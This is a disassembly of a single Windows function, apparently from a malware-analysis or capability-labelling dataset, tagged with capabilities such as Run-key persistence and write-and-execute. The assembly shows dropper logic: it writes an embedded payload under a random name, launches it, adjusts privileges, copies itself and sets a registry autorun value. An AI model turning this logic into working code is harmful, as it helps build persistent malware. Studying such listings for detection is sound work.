Function at 0x4067f0
Capabilities:
Create process on windows
Create process suspended
Persist via run registry key
Query environment variable
Set registry value
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x518
push ebx
push esi
mov eax, ecx
mov dword [ebp - 0xc], edx
cmp dword [eax + edx - 0x18], 0xa535443
lea ebx, [eax + edx]
push edi
mov ecx, 0x1f
mov dword [ebp - 0x18], eax
mov esi, 0x405ce8
lea edi, [ebp - 0x114]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
jne 0x406b59
mov edx, dword [ebx - 0x14]
lea ecx, [ebx - 0x18]
lea eax, [ebx - 0x10]
sub ecx, edx
push eax
mov dword [ebp - 8], ecx
call fcn.00406660
xor esi, esi
lea edi, [esi + 0x3e]
call fcn.00406640
xor edx, edx
div edi
mov ax, word [ebp + edx*2 - 0x114]
mov word [ebp + esi*2 - 0x4c], ax
inc esi
cmp esi, 0xf
jb 0x406848
xor eax, eax
mov word [ebp + esi*2 - 0x4c], ax
lea eax, [ebp - 0x514]
push 0x200
push eax
push 0x405d68
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea edx, [ebp - 0x4c]
mov esi, edx
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x406887
lea edi, [ebp - 0x514]
sub edx, esi
add edi, 0xfffffffe
nop dword [eax]
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x4068a0
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [ebp - 0x514]
add ecx, 0xfffffffe
mov ax, word [ecx + 2]
lea ecx, [ecx + 2]
test ax, ax
jne 0x4068c3
mov eax, dword [0x405d78]
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
push 0
mov dword [ecx], eax
mov eax, dword [0x405d7c]
push 2
mov dword [ecx + 4], eax
mov ax, word [0x405d80]
push 0
push 0
mov word [ecx + 8], ax
lea eax, [ebp - 0x514]
push 0x40000000
push eax
call esi
mov edi, eax
cmp edi, 0xffffffff
je 0x4069f0
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebx - 0x14]
push dword [ebp - 8]
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
mov esi, eax
call dword [sym.imp.ntdll.dll_NtClose]
test esi, esi
je 0x4069ea
push 0x44
lea eax, [ebp - 0x94]
push 0
push eax
call fcn.00408120
xorps xmm0, xmm0
lea edi, [ebp - 0x514]
add esp, 0xc
add edi, 0xfffffffe
movups xmmword [ebp - 0x2c], xmm0
nop dword [eax + eax]
mov ax, word [edi + 2]
lea edi, [edi + 2]
test ax, ax
jne 0x406960
mov eax, dword [0x405d84]
mov edx, dword [ebp + 8]
mov esi, edx
mov dword [edi], eax
nop dword [eax + eax]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x406980
lea edi, [ebp - 0x514]
sub edx, esi
add edi, 0xfffffffe
mov ax, word [edi + 2]
add edi, 2
test ax, ax
jne 0x406996
mov ecx, edx
lea eax, [ebp - 0x2c]
shr ecx, 2
push eax
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x94]
mov ecx, edx
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x514]
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4069ea
push dword [ebp - 0x28]
mov esi, dword [sym.imp.ntdll.dll_NtClose]
call esi
push dword [ebp - 0x2c]
call esi
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x18]
mov edi, dword [ebx - 0x18]
mov dword [0x4153a4], eax
mov eax, dword [ebx - 0x14]
cmp edi, 0xa535443
jne 0x406a11
sub edx, eax
sub edx, 0x18
push eax
push 0
push ecx
mov dword [0x41539c], edx
call fcn.00408120
add esp, 0xc
lea eax, [ebp - 0xd]
xorps xmm0, xmm0
movups xmmword [ebx - 0x18], xmm0
push eax
push 0
push 1
push 0x14
movq qword [ebx - 8], xmm0
call dword [sym.imp.ntdll.dll_RtlAdjustPrivilege]
test eax, eax
lea ecx, [ebp - 0x514]
push 0x200
push ecx
setns bl
mov edx, 0x405dac
test eax, eax
mov ecx, 0x405d88
cmovs ecx, edx
push ecx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
lea eax, [ebp - 0x514]
push eax
call esi
mov esi, eax
cmp esi, 0xffffffff
je 0x406aa5
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [0x41539c]
push dword [0x4153a4]
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.ntdll.dll_NtClose]
lea eax, [ebp - 0x14]
push eax
movzx eax, bl
push 0x405dd0
sub eax, 0x7fffffff
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x406b09
lea ecx, [ebp - 0x514]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x406ad0
sub ecx, edx
sar ecx, 1
lea eax, [ecx*2 + 2]
push eax
lea eax, [ebp - 0x514]
push eax
push 1
push 0
push 0x405e2c
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp edi, 0xa535443
jne 0x406b61
push 0x44
lea eax, [ebp - 0x94]
push 0
push eax
call fcn.00408120
add esp, 0xc
lea eax, [ebp - 0x2c]
xorps xmm0, xmm0
movups xmmword [ebp - 0x2c], xmm0
push eax
lea eax, [ebp - 0x94]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x514]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp + 8]
jmp 0x4069f6
mov edx, dword [0x41539c]
mov ecx, dword [0x4153a4]
call fcn.00406530
pop edi
pop esi
mov dword [0x4153ac], eax
pop ebx
mov esp, ebp
pop ebp
ret 4